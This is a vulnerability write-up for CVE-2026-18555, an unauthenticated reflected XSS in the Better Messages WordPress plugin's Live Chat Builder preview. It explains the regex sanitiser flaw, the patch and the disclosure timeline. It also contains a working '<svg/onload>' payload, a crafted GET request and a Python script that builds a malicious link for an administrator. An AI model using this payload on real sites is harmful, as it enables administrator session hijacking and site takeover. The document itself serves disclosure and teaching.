CVE-2026-18555: Better Messages Unauthenticated Reflected XSS via the Live Chat Builder Preview
TL;DR
- I found an unauthenticated reflected cross-site scripting vulnerability in Better Messages, a WordPress chat plugin with over 10,000 active installs.
- Version 2.15.9 added a Live Chat Button builder with a preview page that renders a custom SVG icon straight from the
icnquery parameter. - The page is only shown to a logged-in administrator, but there is no nonce, so the URL that triggers it is entirely attacker-controlled.
- The plugin cleans the SVG with a regex sanitiser that only strips event handlers preceded by whitespace, so
<svg/onload=...>walks past it and the browser revives it as a live handler. - The issue affects Better Messages
<= 2.15.22, was assigned CVE-2026-18555, and was fixed in 2.15.23.
Summary
Better Messages was vulnerable to unauthenticated reflected cross-site scripting because its Live Chat Builder preview page rendered a custom SVG icon from the
icnquery parameter through a regex sanitiser that failed to remove event handlers from malformed SVG syntax.
- CVE: CVE-2026-18555
- Product: Better Messages
- Active Installs: 10,000+
- Vulnerability: Unauthenticated Reflected Cross-Site Scripting
- Affected Versions: <= 2.15.22
- Fixed In: 2.15.23
- CVSS Severity: 6.1 (medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Required Privilege: None
- Advisory: Wordfence
- Reported: May 21, 2026
- NVD Published: September 16, 2026
Introduction
[A]I was diffing Better Messages releases when 2.15.9 dropped a new feature, a Live Chat Button builder with its own preview page. The preview renders a button the way a visitor would see it, and one of the things you can set on that button is a custom SVG icon that arrives in the URL. Custom inline SVG through a hand-rolled sanitiser is the kind of thing worth stopping on.
The sanitiser goes after the obvious dangers. It drops <script>, <foreignObject>, <iframe>, <object>, <embed> and <style>, strips on* event handlers, and neutralises javascript:, data: and vbscript: URLs. On a quick read it covers the usual SVG tricks.
It does all of that with regular expressions, though, and one malformed tag turned out to be enough to slip an event handler past every pattern in the list.
Root Cause Analysis
The Preview Page
The builder registers a preview handler on template_redirect, in inc/api/live-chat-builder.php.
// inc/api/live-chat-builder.php (maybe_render_preview_page)
if ( ! isset( $_GET['bm_lcb_preview_button'] ) ) return; // [1] GET-triggered, with no nonce.
if ( ! current_user_can( 'manage_options' ) ) { // [2] The only check on the page.
status_header( 403 );
exit;
}
// ... cache and framing headers omitted.
$params = $this->params_from_query( $_GET ); // [3] Reads the query into typed params.
$params['previewPostId'] = (int) get_queried_object_id();
$preview = $this->build_preview( $params );
$button_html = (string) $preview['buttonHtml']; // [4] The composed button, printed later.
A request for any page carrying bm_lcb_preview_button reaches [1]. The capability check at [2] decides who gets to see the rendered page. There is no nonce and no other token, so the attacker never has to guess anything. They just write the URL and get someone with manage_options to open it.
params_from_query() at [3] walks a small schema that maps each short query key to a typed value, and the button it eventually produces is held at [4] for printing lower down the page.
// inc/api/live-chat-builder.php (param_schema, sanitize_value)
'icon' => array( 'key' => 'icn', 'type' => 'icon', 'default' => '' ), // [5] icn feeds the icon slot.
// ... other schema entries and the sanitize_value() switch head omitted.
case 'icon':
return Better_Messages_Shortcodes::instance()->sanitize_icon_svg( wp_unslash( (string) $raw ) ); // [6] Cleaned as SVG.
The icn key at [5] is the icon, and the icon type routes through sanitize_icon_svg() at [6]. Everything the button eventually shows for its icon is whatever the attacker put in icn, once the sanitiser has had its turn.
The Regex Sanitiser
sanitize_icon_svg() lives in the shortcode helper, in inc/shortcodes.php.
// inc/shortcodes.php (sanitize_icon_svg)
$svg = trim( (string) $svg );
if( $svg === '' ) return '';
if( stripos( ltrim( $svg ), '<svg' ) !== 0 ) return ''; // [7] Must open with an svg tag.
$svg = preg_replace( '/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/is', '', $svg );
// ... foreignObject, iframe, object, embed and style stripped the same way.
$svg = preg_replace( '/\son\w+\s*=\s*["\'][^"\']*["\']/i', '', $svg ); // [8] Quoted handler, whitespace first.
$svg = preg_replace( '/\son\w+\s*=\s*[^\s>]*/i', '', $svg ); // [9] Unquoted handler, whitespace first.
// ... javascript:, data: and vbscript: URLs neutralised.
if( $svg === null || stripos( ltrim( $svg ), '<svg' ) !== 0 ) return '';
return $svg;
The check at [7] insists the value starts with <svg, which does nothing to stop a payload since the payload is an SVG. The two handler-stripping patterns at [8] and [9] are the ones that matter, and both begin with \s. They only match an on... attribute when a whitespace character sits directly in front of it.
That assumption holds for well-formed markup, where an attribute is always separated from what precedes it by a space. It does not hold for the markup a browser is willing to accept. Write the icon as <svg/onload="alert(document.domain)"></svg> and the character before onload is a forward slash, not whitespace, so neither pattern fires. The string comes back out of the sanitiser untouched, still opening with <svg, so the final check at the bottom is happy too.
Back Into the Administrator's Page
The cleaned value is wrapped as raw HTML and handed back for the button, in build_icon_html().
// inc/shortcodes.php (build_icon_html)
$svg = $this->sanitize_icon_svg( $icon_value );
if( $svg === '' ) return '';
return '<span class="bm-button-icon" aria-hidden="true">' . $svg . '</span>'; // [10] SVG returned as markup.
The sanitised value comes back as markup at [10], wrapped in a span that becomes part of the button, and the preview page prints that button with nothing else in between.
// inc/api/live-chat-builder.php (maybe_render_preview_page)
<div class="bm-lcb-button-host"><?php echo $button_html; ?></div>
So the administrator's browser receives <svg/onload="alert(document.domain)"></svg> in the page body. When it parses that tag it treats the slash as the end of the tag name and reads onload as an attribute of the SVG element, which fires as the element loads. The regex looked at the same bytes and saw no handler, because it was matching text while the browser was building a DOM.
Impact
The payload runs as JavaScript in the session of an administrator who opens the crafted link. From there it can drive any nonce-protected /wp-admin/ action in that session, including creating a fresh administrator account, so the ceiling is a full site takeover. The attacker needs no account of their own to build the link. The one condition is that someone with manage_options has to open it, which is the same audience the preview page was built for.
Exploitation
Preconditions
- Better Messages
<= 2.15.22is active. - An administrator, or another user with
manage_options, opens the crafted URL.
Manual Request
The payload sits in icn, URL-encoded, and the page needs no other parameters.
GET /?bm_lcb_preview_button=1&icn=%3Csvg%2Fonload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E HTTP/1.1
Host: target.example
Decoded, the icon is the malformed SVG that survives the sanitiser.
<svg/onload="alert(document.domain)"></svg>
PoC
The PoC accompanying this writeup builds the link for a given site and payload. There is no request to send from the attacker's side, since the exploit is the URL the administrator opens.
#!/usr/bin/env python3
"""CVE-2026-18555: Better Messages <= 2.15.22 unauthenticated reflected XSS via the Live Chat Builder preview."""
import argparse
from urllib.parse import quote, urljoin
DEFAULT_PAYLOAD = '<svg/onload="alert(document.domain)"></svg>'
def build_url(base_url, payload):
base = base_url.rstrip("/") + "/"
query = "bm_lcb_preview_button=1&icn=" + quote(payload, safe="")
return urljoin(base, "?" + query)
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--url", required=True, help="WordPress base URL, for example http://target.example")
parser.add_argument("--payload", default=DEFAULT_PAYLOAD, help="SVG payload for the icn parameter")
args = parser.parse_args()
print("[+] Send this URL to a logged-in administrator:")
print(build_url(args.url, args.payload))
if __name__ == "__main__":
main()
python3 cve-2026-18555.py --url http://target.example
[+] Send this URL to a logged-in administrator:
http://target.example/?bm_lcb_preview_button=1&icn=%3Csvg%2Fonload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
Demo
Opening the link while logged in as an administrator renders the preview button and runs the icon.

Patch Diffing
Better Messages 2.15.23 replaced the regex sanitiser with a DOM-based allowlist. The change is in inc/shortcodes.php.
// inc/shortcodes.php (sanitize_icon_svg)
$svg = trim( (string) $svg );
if( $svg === '' ) return '';
-if( stripos( ltrim( $svg ), '<svg' ) !== 0 ) return '';
+if( strlen( $svg ) > 100000 ) return '';
+if( stripos( $svg, '<svg' ) !== 0 ) return '';
+if( preg_match( '/<!DOCTYPE|<!ENTITY|<\?/i', $svg ) ) return '';
+if( ! class_exists( 'DOMDocument' ) ) return '';
-$svg = preg_replace( '/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/is', '', $svg );
-// ... foreignObject, iframe, object, embed and style patterns, omitted for length.
-$svg = preg_replace( '/\son\w+\s*=\s*["\'][^"\']*["\']/i', '', $svg );
-$svg = preg_replace( '/\son\w+\s*=\s*[^\s>]*/i', '', $svg );
-// ... javascript:, data: and vbscript: URL patterns, omitted for length.
-
-if( $svg === null || stripos( ltrim( $svg ), '<svg' ) !== 0 ) return '';
-
-return $svg;
+// ... xlink handling, ampersand escaping and libxml setup omitted.
+$dom = new DOMDocument();
+$flags = LIBXML_NONET | LIBXML_NOBLANKS;
+$loaded = $dom->loadXML( $svg, $flags );
+// ... LIBXML_RECOVER retry and libxml state restoration omitted.
+if( ! $loaded || ! ( $dom->documentElement instanceof DOMElement ) ) return '';
+if( $this->svg_local_name( $dom->documentElement ) !== 'svg' ) return '';
+$this->sanitize_svg_node( $dom->documentElement );
+$clean = $dom->saveXML( $dom->documentElement );
+// ... final <svg> sanity check omitted.
+return $clean;
Instead of deleting patterns from a string, the new code loads the SVG into a real DOM and walks it. sanitize_svg_node() keeps only elements on a fixed allowlist, so script and friends are gone by absence rather than by a matching regex. On every element it visits, sanitize_svg_attributes() removes any attribute whose name starts with on, whatever character came before it in the source.
// inc/shortcodes.php (sanitize_svg_attributes)
if( strpos( $local, 'on' ) === 0 ){
$element->removeAttributeNode( $attribute );
continue;
}
The patched path parses the SVG and re-serialises it, so the browser receives well-formed markup rather than the original bytes. The <svg/onload> construct no longer survives to be reinterpreted as a handler.
Remediation
Update Better Messages to 2.15.23 or later. The current release at the time of writing is 2.15.33.
Disclosure Timeline
- May 21, 2026: Reported to the Wordfence bug bounty program.
- July 28, 2026: Triage started.
- August 1, 2026: Report validated and CVE-2026-18555 assigned.
- August 4, 2026: Better Messages 2.15.23 released, replacing the regex sanitiser with a DOM-based one.
- August 14, 2026: Bounty awarded ($23).
- September 15, 2026: Published by Wordfence.
- September 16, 2026: Indexed by NVD.
Conclusion
The sanitiser was not lazy. It named the dangerous elements, stripped event handlers, and blocked the scriptable URL schemes, which is more than a lot of custom SVG handling bothers to do. It just did all of it with regular expressions, and a regex reads markup as a flat string while the browser reads it as a tree.
A single slash where the pattern expected a space was all it took, and the thoroughness of everything around it is what made the gap easy to miss.